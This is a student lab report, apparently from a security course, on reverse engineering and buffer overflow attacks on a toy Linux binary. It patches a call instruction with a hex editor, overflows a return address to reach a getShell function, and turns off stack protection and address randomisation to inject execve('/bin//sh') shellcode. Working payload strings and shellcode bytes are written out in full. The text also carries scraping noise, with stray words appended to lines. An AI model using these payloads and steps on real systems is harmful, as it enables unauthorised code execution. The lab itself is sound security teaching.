1、逆向及Bof基礎實踐說明
2、直接修改程序機器指令,改變程序執行流程
3、經過構造輸入參數,形成BOF攻擊,改變程序執行流
4、注入Shellcode並執行
5、問題與思考
linux
1.1 實踐目標
本次實踐的對象是一個名爲pwn1的linux可執行文件。shell
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。windows
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。sass
- 三個實踐內容以下:
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 注入一個本身製做的shellcode並運行這段shellcode。
- 這幾種思路,基本表明現實狀況中的攻擊目標:
- 運行本來不可訪問的代碼片斷
- 強行修改程序執行流
- 以及注入運行任意代碼。
1.2 基礎知識網絡
NOP
:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)JNE
:條件轉移指令,若是不相等則跳轉。(機器碼:75)JE
:條件轉移指令,若是相等則跳轉。(機器碼:74)JMP
:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)CMP
:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。objdump -d
:從objfile中反彙編那些特定指令機器碼的section。perl -e
:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。xxd
:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。ps -ef
:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。|
:管道,將前者的輸出做爲後者的輸入。>
:輸入輸出重定向符,將前者輸出的內容輸入到後者中。chmod +x pwn1
將pwn1文件加高亮返回目錄dom
知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
學習目標:理解可執行文件與機器指令
進階:掌握ELF文件格式,掌握動態技術函數
能夠看出
80484b5: e8 d7 ff ff ff call 8048491 <foo>
這條彙編指令,在main
函數中調用位於地址8048491
處的foo
函數,e8
表示「call」
,即跳轉。工具
若是咱們想讓函數調用
getShell
,只須要修改d7 ff ff ff
便可。根據foo函數
與getShell
地址的偏移量,咱們計算出應該改成c3 ff ff ff
。學習
修改具體以下:spa
vi pwn1
進入命令模式:%!xxd
將顯示模式切換爲十六進制進入插入模式,修改d7爲c3
輸入:%!xxd -r
將十六進制轉換爲原格式
:wq!
保存並退出知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術
使用gdb進行調試:
由此可得eip的值爲ASCII的5,即輸入字符串的「5」的部分發生溢出,咱們能夠嘗試將5
的部分換成12345678
進一步確認:
由此看來1234覆蓋了堆棧的返回地址。所以,咱們能夠嘗試將這四個字符替換成getShell
的內存地址並輸給20165226pwn2,20165226pwn2就會運行getshell。
由此可知應輸入
11111111222222223333333344444444\x7d\x84\x04\x08
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用十六進制查看指令xxd
查看input文件。\0a表示換行
將input的輸入經過|
管道符,做爲20165226pwn2的輸入
- hellcode就是一段機器指令(code)
- 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
apt-get install execstack
安裝execstackroot@kali:~/20165226/exp1# execstack -s 20165226pwn3 root@kali:~/20165226/exp1# execstack -q 20165226pwn3 X 20165226pwn3 root@kali:~/20165226/exp1# more /proc/sys/kernel/randomize_va_space 2 root@kali:~/20165226/exp1# echo "0" > /proc/sys/kernel/randomize_va_space root@kali:~/20165226/exp1# more /proc/sys/kernel/randomize_va_space 0
採用RNS方法攻擊buf(retaddr+nop+shellcode)perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20165226pwn3
注入攻擊,回車後保持這個終端不動,打開另外一個終端ps -df |grep 20165226pwn3
查看 其進程號爲3292
gdb調試進程
啓動gdb,
attach 3292
調試此進程
經過設置斷點disassemble foo
來查看注入buf的內存地址
使用break *0x080484ae
設置斷點,並輸入c
(continue)繼續運行。在20165226pwn3進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp
查找地址。
使用x/16x 0xffffd2ec
查看其存放內容,看到了01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址是0xffffd2f0
。
perl -e 'print "A" x 32;print "\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20165226pwn3
命令次執行程序,攻擊成功!問題1:ebd7找不到
問題1解決方案:輸入/e8 d7
(注意中間空格)
問題2:在另外一個終端中沒法查看顯示20165226pwn3這個進程的進程號
問題2解決方案:
仔細比對步驟,發現寫好的代碼未成功經過管道方式對文件中foo函數進行覆蓋,從新輸入(cat input_shellcode;cat) | ./pwn2
問題3:出現如下狀況
問題3解決方案;兩個終端分別運行時將20165226pwn3文件提早結束運行了,當第一次使用cat語句執行後應該保持不動。
返回目錄